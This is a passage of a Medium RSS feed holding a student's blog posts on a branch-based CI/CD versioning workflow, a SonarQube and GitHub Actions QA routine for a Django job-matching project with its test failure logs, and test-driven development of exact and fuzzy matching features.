the CI-CD pipeline automatically generates a version tag depending on the branch. Production gets a fixed semantic version, staging gets release-candidate (RC) builds, and development gets snapshot-style daily versions. We don’t tag anything manually, the pipeline handles everything for us.</p><pre>- name: Generate version tag<br>  id: version<br>  run: |<br>    if [[ &quot;${{ github.ref }}&quot; == &quot;refs/heads/main&quot; ]]; then<br>      VERSION=&quot;v1.0.0&quot;<br>      PRERELEASE=false<br>    elif [[ &quot;${{ github.ref }}&quot; == &quot;refs/heads/staging&quot; ]]; then<br>      VERSION=&quot;v1.0.0-rc.${{ github.run_number }}&quot;<br>      PRERELEASE=true<br>    elif [[ &quot;${{ github.ref }}&quot; == &quot;refs/heads/development&quot; ]]; then<br>      VERSION=&quot;dev-$(date +%Y.%m.%d)-${{ github.run_number }}&quot;<br>      PRERELEASE=true<br>    fi<br>    echo &quot;VERSION=$VERSION&quot; &gt;&gt; $GITHUB_OUTPUT<br>    echo &quot;PRERELEASE=$PRERELEASE&quot; &gt;&gt; $GITHUB_OUTPUT</pre><p>Then the release job then publishes the tag automatically:</p><pre>- name: Create GitHub Release<br>  uses: softprops/action-gh-release@v1<br>  with:<br>    tag_name: ${{ steps.version.outputs.VERSION }}</pre><p>With this setup, every deployment becomes a documented checkpoint. Development moves fast, staging prepares the next stable build, and production stays clean and predictable.</p><h3>Chapter 6: Lessons from the Cloud ☁️🪞</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mHpmIAttPDZpnp1Zf3G4UA.png" /><figcaption>An example of a successful deployment… after several attempts at least…</figcaption></figure><p>After breaking, modifying, scaling, deleting and remaking several servers, a bunch of times, i think it’s pretty weird if i didn’t I learn anything…</p><ul><li>One VM, three environments = balance. Cheap, simple, but still practical.</li><li>Automation saves lives (and sleep). CD pipelines remove human error, and manual redeploys.</li><li>Branch-based deployments feel natural. Each environment has its own purpose and rhythm.</li><li>Docker makes cleanup easy. Containers keep environments separated, even on one machine.</li></ul><p>I started off thinking deployment was just about “getting it online,”<br>but now I realize it’s about keeping it online, organized, and under control.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a32e33ae9443" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Beauty Is in the Eye of the QA ]]></title>
            <link>https://medium.com/@fadhlilbaqimuhammadghaza/quality-never-dies-a-journey-through-static-analysis-and-code-discipline-%EF%B8%8F-d74868a84397?source=rss-4aafbe34b665------2</link>
            <guid isPermaLink="false">https://medium.com/p/d74868a84397</guid>
            <dc:creator><![CDATA[Ghaza Fadhlilbaqi]]></dc:creator>
            <pubDate>Wed, 08 Oct 2025 22:15:16 GMT</pubDate>
            <atom:updated>2025-10-21T06:57:39.448Z</atom:updated>
            <content:encoded><![CDATA[<h4>Keeping Your Code Sharp and Clean Using Static Analysis Tools</h4><h3>Chapter 1: The Early QAs Gets the Bugs 🐦</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*nSieMQYHaGC54-36.gif" /><figcaption>Your code gets a seal of approval from me🦭👍… Idk about SonarQube tho 😅</figcaption></figure><p>You know that feeling when your code passes locally but the moment it hits GitHub, it fails? Yeah that happens, not a fun way to pass time.</p><p>We all like to believe our code is clean, until SonarQube comes knocking with a 50 line report of “minor” issues that suddenly don’t look so minor. Quality assurance isn’t about perfection; it’s about <strong>discipline</strong>, <strong>consistency</strong>, and having the right guardrails to keep chaos out of production.</p><p>This is why nowadays, I treat my local environment like it’s going through airport security, it goes through multiple checks before it can be boarded to the repo. From local SonarQube scans to CI checks, every commit gets scanned, tested, and approved before it takes off.</p><p>Here’s what that whole process sorta looks like:</p><h4>Check Yourself Before You Push Yourself 🫸</h4><p>Before my code even touches the repo, it faces its first gatekeeper: <strong>local static analysis</strong>.<br> I run a <strong>SonarQube</strong> <strong>linter</strong>(another alternative being <strong>Ruff</strong>) locally to ensure my code stays in top shape, catching issues before they ever make it into a commit.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*DM23X7BEkpmSAUVs.png" /></figure><p>For example, SonarQube recently caught an unused variable assignment. Tiny thing, right?<br> But these “tiny things” are like termites, harmless alone, but disastrous over time.</p><p>With <strong>SonarLint</strong> wired into my VSCode, warnings pop up instantly.<br> I fix them before they ever hit version control. It’s like a spellchecker for your logic.</p><p>By the time I finally push, my local SonarQube has already stamped it <em>“clean and clear.”</em><br>No surprises later. No “funny business” in review. Just quiet confidence.</p><h4>Analyze This 🔎</h4><p>Even after my local setup gives the thumbs up, I still rely on another line of defense: the SonarQube instance set up in our GitHub repository.</p><p>Why? Because no matter how careful I am, code isn’t a solo act. Teams introduce variety… and variety usually introduces bugs as well.</p><p>Having SonarQube (or SonarCloud, in our case) run in CI means every pull request gets its own quality report. It’s not just about enforcing standards; it’s about <strong>shared visibility</strong>.</p><p>Here’s what that looks like when it does its job:</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*6843aIrqoeDqHbw2.png" /></figure><p>In this case, SonarCloud flagged <strong>four security hotspots</strong> during CI. The build didn’t fail because of a typo, it failed because SonarCloud refused to let potentially unsafe code through.</p><p>That’s the beauty of having quality gates baked into your workflow. They don’t just analyze, they <strong>guard</strong>. They make sure that when something slips through your local checks, it still gets caught before merging.</p><p>And this visibility helps more than just me. When the team sees these reports, we can collaborate better: identify patterns, share fixes, and learn from each other’s mistakes. SonarQube isn’t just a tool, it’s a teacher that grades everyone fairly.</p><h4>The CI Is Right ✅</h4><p>If local SonarQube is my training ground, then GitHub Actions is the arena.<br>Every push. Every pull request.<br>They all face the same test: run the suite, analyze the quality, and pass the gate.</p><p>Here’s the CI setup for my group’s Django project:</p><pre>name: Django Tests<br>on:<br>  push:<br>  pull_request:<br>jobs:<br>  test:<br>    runs-on: ubuntu-latest<br>    strategy:<br>      fail-fast: false<br>      matrix:<br>        python-version: [&quot;3.13&quot;]<br>    env:<br>      DJANGO_SETTINGS_MODULE: AutomaticRAB.settings<br>      SECRET_KEY: ${{ secrets.SECRET_KEY || &#39;insecure-test-key&#39; }}<br>      MYSQL_NAME: ${{ secrets.MYSQL_NAME }}<br>      MYSQL_USER: ${{ secrets.MYSQL_USER }}<br>      MYSQL_PASSWORD: ${{ secrets.MYSQL_PASSWORD }}<br>      MYSQL_HOST: ${{ secrets.MYSQL_HOST }}<br>      MYSQL_PORT: ${{ secrets.MYSQL_PORT }}<br>    steps:<br>      - name: Checkout repository<br>        uses: actions/checkout@v4<br>      - name: Set up Python ${{ matrix.python-version }}<br>        uses: actions/setup-python@v5<br>        with:<br>          python-version: ${{ matrix.python-version }}<br>          cache: pip<br>      - name: Install MySQL dev libs<br>        run: |<br>          sudo apt-get update<br>          sudo apt-get install -y libmysqlclient-dev pkg-config<br>      - name: Install dependencies<br>        run: |<br>          python -m pip install --upgrade pip<br>          if [ -f requirements.txt ]; then pip install -r requirements.txt; fi<br>      - name: Run tests<br>        run: |<br>          python manage.py test --verbosity 2</pre><p>Every PR runs through this pipeline. Tests must pass! Coverage must hold. SonarQube must approve!</p><p>No gatekeeping from humans, just <strong>quality gates from the machine</strong>.<br>It’s accountability without burnout.</p><p>That’s how we keep production clean, not by trusting luck, but by enforcing discipline.</p><h4>Smells Like Code Spirit 👃</h4><p>The real power of this workflow is that it’s quantifiable.<br>SonarQube dashboards, coverage reports, and CI logs don’t lie, they show exactly how disciplined your process is.</p><p>When your project consistently maintains:</p><p>✅ 100% test coverage</p><p>🚫 0 critical issues</p><p>📉 Declining code smells</p><p>🧱 Passing quality gates every PR</p><p>We no longer “hope” our project is stable. We <strong>know</strong> it is.</p><p>Quality assurance stops being invisible. It becomes a visible, trackable, measurable part of your development life cycle.</p><p>Because in the end, good code doesn’t just work, it proves that it works.</p><h4>Sleep Tight, Deploy Right 🛌</h4><p>Local linters + coverage runs + CI enforcement + Sonar dashboards = a repeatable, measurable QA workflow.<br>Yes, it adds a few steps to our pipeline. Yes, it will block some merges. But it’s better than a 2 AM panic sessions.</p><h3>Chapter 2: Code Is Best Served Clean 🍴</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MfcucswqbJzkkHHu.gif" /><figcaption>Don’t forget to take a quick snack break in the middle of your QA-ing sessions!</figcaption></figure><p>Alright, now it’s time for some real action. We’ve set up our tools, got our workflow down, and now it’s time to <strong>actually use them</strong>. Let’s get into the kitchen. This isn’t just about running a linter once and calling it a day. It’s about working with the tools, seeing what they catch, and fine-tuning our code to make sure it’s in tip-top shape. It’s about <strong>practicing QA daily</strong>, not just during “special occasions” or “when we remember.”</p><h4><strong>Amuse-Bouche: The Local Linting Check </strong>🍣</h4><p>So I just finished up writing the code for refactoring the logic of my fuzzy_matcher feature to now handle similar action words and single words, but before I push to GitHub, Let’s run the local SonarQube linter to ensure that my code is up to snuff!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*tZdx_tav-sQiK1S1WcQXOw.png" /></figure><p>After a quick scan, SonarQube told me to reduce some function’s cognitive complexities to make it easier to understand and maintainable for my fellow team members if when they need to review my code before being merged, so time to get to work!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*XcZB1SF9gV78t-b50ZxDYA.png" /></figure><p>After extracting some of the logic into their own little functions, my code has now reached a relatively lower cognitive complexity 🥳🥳🥳, so now my local SonarQube linter has given me the thumbs up to push this to GitHub!</p><h4><strong>Entrée: Pushing and Waiting for SonarQube Magic </strong>🍲</h4><p>Now even though we have already checked the quality of our local code, we still need to have it pass through our the GitHub checks, which include our CI script as well as the SonarQube connected to the GitHub repository!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8bs8fq92bbipb6cKTfl7WQ.png" /></figure><p>Ruh roh Raggy 😨, it seems like we got some issues present, from failing tests and failed quality gates, let’s investigate further 🔍</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ULkHPcDbYevqfoMixSzApg.png" /></figure><p>So it seems like some of the code made by one of my team members have some failed maintainability issues. These issues seems to be ranging from unused variables that are just taking up space, some f-strings that could easily be replaced with regular strings to simplify things, and multiple instances of accessing attributes on a value that could be None. , thankfully nothing severe/high, but they do contribute to unnecessary complexity. I’ll clean up the unused variables, swap out the f-strings, and add those safety checks to handle None values more gracefully. A few quick fixes, and we’re back to smooth sailing!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6cNRrVba7HH2ZLdFA-bRCA.png" /></figure><p>Since my local SonarQube does not seem to detect any other issues, I think it’s safe to try and push to GitHub, moment of truth 🤞</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*EESrUv5poOYgkvwc9yPOtQ.png" /></figure><p>There we go! My team member’s code is now certified squeaky clean according to both the local SonarQube linter and SonarQube on GitHub🧼! Next up, dealing with those failing tests!</p><h4><strong>Plat Principal: Fixing the Tests </strong>🍝</h4><p>After running the tests for the features that my friend has developed, it returned the following results:</p><pre>======================================================================<br>ERROR: test_by_code_like_returns_exact_match_and_variants (automatic_job_matching.test.test_repository.DbAhsRepositoryTests.test_by_code_like_returns_exact_match_and_variants)<br>----------------------------------------------------------------------<br>Traceback (most recent call last):<br>  File &quot;/usr/lib/python3.13/unittest/mock.py&quot;, line 1426, in patched<br>    return func(*newargs, **newkeywargs)<br>  File &quot;/home/krimson/Documents/College/Academic/Semester5/SoftEngProjects/AutomaticRAB/automatic_job_matching/test/test_repository.py&quot;, line 24, in test_by_code_like_returns_exact_match_and_variants<br>    rows = repo.by_code_like(&quot;T.15.a.1&quot;)<br>  File &quot;/home/krimson/Documents/College/Academic/Semester5/SoftEngProjects/AutomaticRAB/automatic_job_matching/repository/ahs_repo.py&quot;, line 23, in by_code_like<br>    qs = Ahs.objects.filter(q_filter).values_list(&quot;id&quot;, &quot;code&quot;, &quot;name&quot;).distinct()<br>         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>AttributeError: &#39;FakeQS&#39; object has no attribute &#39;values_list&#39;<br><br>======================================================================<br>ERROR: test_by_name_candidates_istartswith (automatic_job_matching.test.test_repository.DbAhsRepositoryTests.test_by_name_candidates_istartswith)<br>----------------------------------------------------------------------<br>Traceback (most recent call last):<br>  File &quot;/usr/lib/python3.13/unittest/mock.py&quot;, line 1426, in patched<br>    return func(*newargs, **newkeywargs)<br>  File &quot;/home/krimson/Documents/College/Academic/Semester5/SoftEngProjects/AutomaticRAB/automatic_job_matching/test/test_repository.py&quot;, line 40, in test_by_name_candidates_istartswith<br>    rows = repo.by_name_candidates(&quot;Pemadatan&quot;)<br>  File &quot;/home/krimson/Documents/College/Academic/Semester5/SoftEngProjects/AutomaticRAB/automatic_job_matching/repository/ahs_repo.py&quot;, line 36, in by_name_candidates<br>    .values_list(&quot;id&quot;, &quot;code&quot;, &quot;name&quot;)[:200]<br>     ^^^^^^^^^^^<br>AttributeError: &#39;FakeQS&#39; object has no attribute &#39;values_list&#39;<br><br>======================================================================<br>FAIL: test_by_code_like_meets_sla (automatic_job_matching.test.test_ahs_performance_optimization.AhsRepositoryOptimizationTests.test_by_code_like_meets_sla)<br>SLA: by_code_like must complete in &lt;100ms average<br>----------------------------------------------------------------------<br>Traceback (most recent call last):<br>  File &quot;/home/krimson/Documents/College/Academic/Semester5/SoftEngProjects/AutomaticRAB/automatic_job_matching/test/test_ahs_performance_optimization.py&quot;, line 75, in test_by_code_like_meets_sla<br>    self.assertLess(<br>    ~~~~~~~~~~~~~~~^<br>        avg_time,<br>        ^^^^^^^^^<br>    ...&lt;2 lines&gt;...<br>        f&quot;Hint: Add index on ahs.code field&quot;<br>        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>    )<br>    ^<br>AssertionError: 268.86272419797024 not less than 100.0 : SLA violation: 268.86ms &gt; 100ms. Hint: Add index on ahs.code field<br><br>======================================================================<br>FAIL: test_by_name_candidates_meets_sla (automatic_job_matching.test.test_ahs_performance_optimization.AhsRepositoryOptimizationTests.test_by_name_candidates_meets_sla)<br>SLA: by_name_candidates must complete in &lt;100ms average<br>----------------------------------------------------------------------<br>Traceback (most recent call last):<br>  File &quot;/home/krimson/Documents/College/Academic/Semester5/SoftEngProjects/AutomaticRAB/automatic_job_matching/test/test_ahs_performance_optimization.py&quot;, line 105, in test_by_name_candidates_meets_sla<br>    self.assertLess(<br>    ~~~~~~~~~~~~~~~^<br>        avg_time,<br>        ^^^^^^^^^<br>        100.0,<br>        ^^^^^^<br>        f&quot;SLA violation: {avg_time:.2f}ms &gt; 100ms. &quot;<br>        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>    )<br>    ^<br>AssertionError: 635.895753398654 not less than 100.0 : SLA violation: 635.90ms &gt; 100ms. <br><br>======================================================================<br>FAIL: test_mixed_material_query_uses_flexible_matching (automatic_job_matching.test.test_fuzzy_matcher.FuzzyMatcherEdgeCaseTests.test_mixed_material_query_uses_flexible_matching)<br>Test that queries with mixed materials use ANY-material fallback strategy.<br>----------------------------------------------------------------------<br>Traceback (most recent call last):<br>  File &quot;/home/krimson/Documents/College/Academic/Semester5/SoftEngProjects/AutomaticRAB/automatic_job_matching/test/test_fuzzy_matcher.py&quot;, line 759, in test_mixed_material_query_uses_flexible_matching<br>    self.assertEqual(len(candidates), 2)<br>    ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^<br>AssertionError: 1 != 2<br><br>======================================================================<br>FAIL: test_bata_putih_matches_bata_ringan (automatic_job_matching.test.test_synonyms.PhraseSynonymMatchingTests.test_bata_putih_matches_bata_ringan)<br>DB has: &quot;Pemasangan Bata Ringan&quot;<br>----------------------------------------------------------------------<br>Traceback (most recent call last):<br>  File &quot;/home/krimson/Documents/College/Academic/Semester5/SoftEngProjects/AutomaticRAB/automatic_job_matching/test/test_synonyms.py&quot;, line 105, in test_bata_putih_matches_bata_ringan<br>    self.assertGreater(len(result), 0)<br>    ~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^<br>AssertionError: 0 not greater than 0<br><br>======================================================================<br>FAIL: test_lantai_expose_matches_finishing_lantai_beton_expose (automatic_job_matching.test.test_synonyms.PhraseSynonymMatchingTests.test_lantai_expose_matches_finishing_lantai_beton_expose)<br>DB has: &quot;Finishing Lantai Beton Expose&quot;<br>----------------------------------------------------------------------<br>Traceback (most recent call last):<br>  File &quot;/home/krimson/Documents/College/Academic/Semester5/SoftEngProjects/AutomaticRAB/automatic_job_matching/test/test_synonyms.py&quot;, line 299, in test_lantai_expose_matches_finishing_lantai_beton_expose<br>    self.assertEqual(matched_item[&quot;code&quot;], &quot;AHS.021&quot;)<br>    ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>AssertionError: &#39;AHS.020&#39; != &#39;AHS.021&#39;<br>- AHS.020<br>?       ^<br>+ AHS.021<br>?       ^<br><br><br>======================================================================<br>FAIL: test_sink_matches_wastafel (automatic_job_matching.test.test_synonyms.PhraseSynonymMatchingTests.test_sink_matches_wastafel)<br>DB has: &quot;Pemasangan Wastafel&quot;<br>----------------------------------------------------------------------<br>Traceback (most recent call last):<br>  File &quot;/home/krimson/Documents/College/Academic/Semester5/SoftEngProjects/AutomaticRAB/automatic_job_matching/test/test_synonyms.py&quot;, line 249, in test_sink_matches_wastafel<br>    self.assertGreater(len(result), 0)<br>    ~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^<br>AssertionError: 0 not greater than 0<br><br>======================================================================<br>FAIL: test_strauss_pile_matches_borepile (automatic_job_matching.test.test_synonyms.PhraseSynonymMatchingTests.test_strauss_pile_matches_borepile)<br>DB has: &quot;Pekerjaan Borepile&quot;<br>----------------------------------------------------------------------<br>Traceback (most recent call last):<br>  File &quot;/home/krimson/Documents/College/Academic/Semester5/SoftEngProjects/AutomaticRAB/automatic_job_matching/test/test_synonyms.py&quot;, line 125, in test_strauss_pile_matches_borepile<br>    self.assertGreater(len(result), 0)<br>    ~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^<br>AssertionError: 0 not greater than 0<br><br>======================================================================<br>FAIL: test_switch_matches_saklar (automatic_job_matching.test.test_synonyms.PhraseSynonymMatchingTests.test_switch_matches_saklar)<br>DB has: &quot;Pemasangan Saklar Engkel&quot;<br>----------------------------------------------------------------------<br>Traceback (most recent call last):<br>  File &quot;/home/krimson/Documents/College/Academic/Semester5/SoftEngProjects/AutomaticRAB/automatic_job_matching/test/test_synonyms.py&quot;, line 337, in test_switch_matches_saklar<br>    self.assertGreater(len(result), 0)<br>    ~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^<br>AssertionError: 0 not greater than 0<br><br>======================================================================<br>FAIL: test_toilet_duduk_matches_kloset_duduk (automatic_job_matching.test.test_synonyms.PhraseSynonymMatchingTests.test_toilet_duduk_matches_kloset_duduk)<br>DB has: &quot;Pemasangan Kloset Duduk&quot;<br>----------------------------------------------------------------------<br>Traceback (most recent call last):<br>  File &quot;/home/krimson/Documents/College/Academic/Semester5/SoftEngProjects/AutomaticRAB/automatic_job_matching/test/test_synonyms.py&quot;, line 209, in test_toilet_duduk_matches_kloset_duduk<br>    self.assertGreater(len(result), 0)<br>    ~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^<br>AssertionError: 0 not greater than 0<br><br>======================================================================<br>FAIL: test_synonym_matching_meets_100ms_sla (automatic_job_matching.test.test_synonyms.PhraseSynonymPerformanceTests.test_synonym_matching_meets_100ms_sla)<br>Synonym expansion should not violate 100ms SLA.<br>----------------------------------------------------------------------<br>Traceback (most recent call last):<br>  File &quot;/home/krimson/Documents/College/Academic/Semester5/SoftEngProjects/AutomaticRAB/automatic_job_matching/test/test_synonyms.py&quot;, line 457, in test_synonym_matching_meets_100ms_sla<br>    self.assertLess(avg_time, 150,<br>    ~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^<br>                   f&quot;Synonym matching averaged {avg_time:.2f}ms, should be &lt;150ms&quot;)<br>                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>AssertionError: 890.9449743994628 not less than 150 : Synonym matching averaged 890.94ms, should be &lt;150ms<br><br>----------------------------------------------------------------------<br>Ran 273 tests in 894.153s<br><br>FAILED (failures=10, errors=2)<br>Preserving test database for alias &#39;default&#39; (&#39;test_RencanakanDB&#39;)...</pre><p>We can see that we’ve got some failing tests and some errors as well! let us investigate the files with the errors and the failed test and try to remedy them!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8vuClpB1ZCTXTrBK8Y2pJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*waO74_PZGAnGb9BuUBx4Kg.jpeg" /><figcaption>Note: Before I attempted to help my team member reach 100% code coverage, turns out she has already done it, so no need to add more tests 😸</figcaption></figure><p>After a good few grueling hours of fixing, we finally fixed all the tests, and after pushing to GitHub…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ax92CiDf79CNr59JB2s2wQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rtn9NGglF9DHbc0OdH9FDQ.png" /></figure><p>And there we have it, we have successfully w̶e̶n̶t̶ ̶t̶h̶r̶o̶u̶g̶h̶ ̶t̶h̶e̶ ̶f̶i̶v̶e̶ ̶s̶t̶a̶g̶e̶s̶ ̶o̶f̶ ̶g̶r̶i̶e̶f̶ cleaned up our codebase so our GitHub checks don’t complain to us anymore!</p><h4><strong>Dessert: Sweet CI Success 🍰</strong></h4><p>As we wrap up, it’s clear that <strong>QA tools</strong> like SonarLinter, SonarQube, and our automated test suite in the CI script have been invaluable in keeping our code clean and bug-free. These tools are like the chefs in the background, ensuring everything runs smoothly even when we’re not looking.</p><p>The static analysis tools catch the small issues, like unused variables or potential vulnerabilities, that we might overlook, while the tests ensure that our features meet expectations and performance standards. Sure, there are always bumps along the way, like failing tests or performance tweaks, but that’s where the true value of QA lies.</p><p>It’s not just about catching bugs after the fact; it’s about <strong>embedding quality</strong> into the development process from the very beginning. With consistent use of these tools, we don’t just hope for a stable release, we guarantee it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d74868a84397" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[To Test or Not to Test, That is the Question ]]></title>
            <link>https://medium.com/@fadhlilbaqimuhammadghaza/test-in-peace-goodbye-to-code-chaos-019462b3f7b2?source=rss-4aafbe34b665------2</link>
            <guid isPermaLink="false">https://medium.com/p/019462b3f7b2</guid>
            <dc:creator><![CDATA[Ghaza Fadhlilbaqi]]></dc:creator>
            <pubDate>Mon, 29 Sep 2025 10:55:59 GMT</pubDate>
            <atom:updated>2025-11-02T05:16:58.615Z</atom:updated>
            <content:encoded><![CDATA[<h4>The backwards way that actually works?</h4><h3>Chapter 1: All Pain, Some Gain? 💀</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*BCngSFei6FLQv6PE.jpg" /><figcaption>The state I’m found in after several attempts of getting my implementation to pass the test suite I created myself 😭</figcaption></figure><p>When I first started studying computer science, I couldn’t imagine anyone actually writing tests <strong>before</strong> the code they were supposed to test. It felt totally backwards, like assembling IKEA furniture before even opening the instructions. But here we are, in a world where Test-Driven Development (TDD) has become a popular method of programming. At first, I was confused on why we do this to ourselves, but after multiple rounds of “red → green → refactor,” I started seeing why it actually makes life easier.</p><h4>First We Test, Then We Drive! 🛞</h4><p>The <strong>first task</strong> I worked on this week was the exact match feature, which is is part of a larger job-matching system. My job was to take a user’s job description and check whether it matches <strong>exactly</strong> with entries in the <em>AHSP</em> database. Unlike fuzzy matching, which guesses at close matches, <strong>exact matching only counts literal matches</strong>.</p><p>Even though exact matching seems simple, edge cases can break the feature. TDD ensures <strong>all</strong> expected behaviors are captured before writing the code 🤯.</p><h4>Red Light, Green Light, Refactor Light 🚦</h4><p>[RED 🔴] I usually get confused on how I would write up the first test ever, so I decided to start simple, by making a test on what I expect the function to do, which in this case was to return an exact match!</p><pre>def test_valid_request_returns_match(self):<br>    payload = {&quot;description&quot;: &quot;X.01&quot;}<br>    response = self.client.post(&quot;/match-exact/&quot;, json.dumps(payload), content_type=&quot;application/json&quot;)<br>    self.assertEqual(response.json()[&quot;match&quot;][&quot;status&quot;], &quot;Matched&quot;)</pre><p>That looks good, then I guess I’m done with the test… is what I would’ve said if I didn’t care about the edge cases, which I do. So next off, we create tests that handles some edge cases that are not the main part of the feature, but to test events that could happen if the feature itself did work as we plan it to do.</p><pre>def test_no_match_flags_review(self):<br>    payload = {&quot;description&quot;: &quot;Nonexistent&quot;}<br>    response = self.client.post(&quot;/match-exact/&quot;, json.dumps(payload), content_type=&quot;application/json&quot;)<br>    self.assertEqual(response.json()[&quot;match&quot;][&quot;status&quot;], &quot;Not Found&quot;)</pre><p>[GREEN 🟢] Since I’ve felt like I’ve added enough tests, it’s time for the main star of the show, the actual function! I would usually start off with a simple goal, to make it pass the tests, we could always refactor it later after all :)</p><pre>class MatchingService:<br>    @staticmethod<br>    def perform_exact_match(description):<br>        if description == &quot;X.01&quot;:<br>            return {&quot;code&quot;: &quot;X.01&quot;, &quot;status&quot;: &quot;Matched&quot;}<br>        return None</pre><p>[REFACTOR ⚙️] Since this was only a small part of a bigger feature, I have yet to applied more complex refactoring, other than SRP… (maybe this could be for another time 👀)</p><h3>Chapter 2: Test in Peace 🧘</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*B1gDc5CxbuiiD2bCs1Ixhg.jpeg" /><figcaption>How I feel after when my code passes all the initial tests i made</figcaption></figure><p>Another week, another round of our TDD, such is the life of a 5th semester KKI student. For this week, I’ve made test for the Fuzzy Matcher feature, which works by getting a text input, then “guesses” the closest entry match that exists in the database that matches with the inputted string. Fun stuff, so without further ado, let us commence with the Tests!</p><h4>Back To The Test ⌚</h4><p>Like before, I started by focusing on the happy paths 😸, basically, what I want the feature to do when everything goes as planned. Then, we’ll move on to the negative paths 😿, because, let’s face it, all inputs are evil and we can never trust them completely…</p><h4>Get Fuzzy With It! 🌟</h4><p>Let’s start with the positive tests, the parts where everything just works. We’re testing how well the fuzzy matcher handles the intended cases, like matching partial text, handling word order changes, and working with exact matches. 🥳</p><p><strong>Partial Name Matches 🧩</strong></p><p>Here, the matcher matches “galian tanah” with something in the database, even though it’s not an exact match.</p><pre>def test_fuzzy_name_match_partial_words(self):<br>    result = self.matcher.match(&quot;galian tanah&quot;)<br>    self.assertIsNotNone(result)<br>    self.assertEqual(result[&quot;matched_on&quot;], &quot;name&quot;)</pre><p><strong>Word Order Doesn’t Matter 🧩</strong></p><p>Wrong word order? No problem! The fuzzy matcher should handle it, no problemo!</p><pre>def test_fuzzy_name_match_word_order(self):<br>    result = self.matcher.match(&quot;tanah galian pekerjaan&quot;)<br>    self.assertIsNotNone(result)<br>    self.assertEqual(result[&quot;matched_on&quot;], &quot;name&quot;)</pre><p><strong>Exact Matches 🧩</strong></p><p>Not much to say here, this is the I can only dream my input will always get.</p><pre>def test_fuzzy_name_match_exact(self):<br>    result = self.matcher.match(&quot;pekerjaan galian tanah biasa&quot;)<br>    self.assertIsNotNone(result)<br>    self.assertEqual(result[&quot;matched_on&quot;], &quot;name&quot;)</pre><p><strong>Multiple Matches 🧩</strong></p><p>Sometimes, there’s more than one match. We check if the matcher can handle multiple possible candidates and still sort them properly.</p><pre>def test_find_multiple_matches(self):<br>    matches = self.matcher.find_multiple_matches(&quot;pekerjaan&quot;, limit=3)<br>    self.assertIsInstance(matches, list)<br>    self.assertLessEqual(len(matches), 3)</pre><p><strong>Custom Similarity 🧩</strong></p><p>Want to be strict or lenient? The matcher’s flexibility means you can adjust how close a match needs to be, whether you want perfection or are okay with a more relaxed match.</p><pre>def test_custom_min_similarity(self):<br>    strict_matcher = FuzzyMatcher(self.fake_repo, min_similarity=0.9)<br>    lenient_matcher = FuzzyMatcher(self.fake_repo, min_similarity=0.3)<br>    <br>    strict_result = strict_matcher.match(&quot;galien tanah&quot;)<br>    lenient_result = lenient_matcher.match(&quot;galien tanah&quot;)<br>    <br>    if strict_result is None and lenient_result is not None:<br>        self.assertIsNotNone(lenient_result)</pre><h4>Fuzz Off! 🚫</h4><p>But let’s be honest, not everything can go smoothly, matter of fact it usually never does 😅. The fuzzy matcher doesn’t always get things right, and sometimes it encounters failures, but that’s just how life is.</p><p><strong>Empty Inputs 👿</strong></p><pre>def test_fuzzy_match_empty_input(self):<br>    self.assertIsNone(self.matcher.match(&quot;&quot;))<br>    self.assertIsNone(self.matcher.match(&quot;   &quot;))</pre><p>Empty input? The matcher should just give up and return None. No drama, no crash, just peace (just like the title 😎).</p><p><strong>No Match 👿</strong></p><pre>def test_fuzzy_match_no_similarity(self):<br>    result = self.matcher.match(&quot;chocolate cake&quot;)<br>    self.assertIsNone(result)</pre><p>No matches? The matcher just returns <strong>None</strong> and moves on, no need to force a fit.</p><p><strong>Weird Inputs? 👿</strong></p><pre>def test_fuzzy_match_handles_empty_fields(self):<br>    try:<br>        self.matcher.match(&quot;test&quot;)<br>    except Exception:<br>        self.fail(&quot;Fuzzy matcher should handle empty fields gracefully&quot;)</pre><p>When weird input shows up (like an empty field), the matcher handles it gracefully 💃, no crashes, just clean failure.</p><p><strong>Empty String Normalization 👿</strong></p><p>Clean it up! If the input is just whitespace or funky characters, the matcher knows it’s time to move on and return nothing.</p><pre>def test_fuzzy_match_name_with_empty_normalized_input(self):<br>    result = self.matcher._fuzzy_match_name(&quot;   &quot;)<br>    self.assertIsNone(result)</pre><p><strong>Empty Normalized 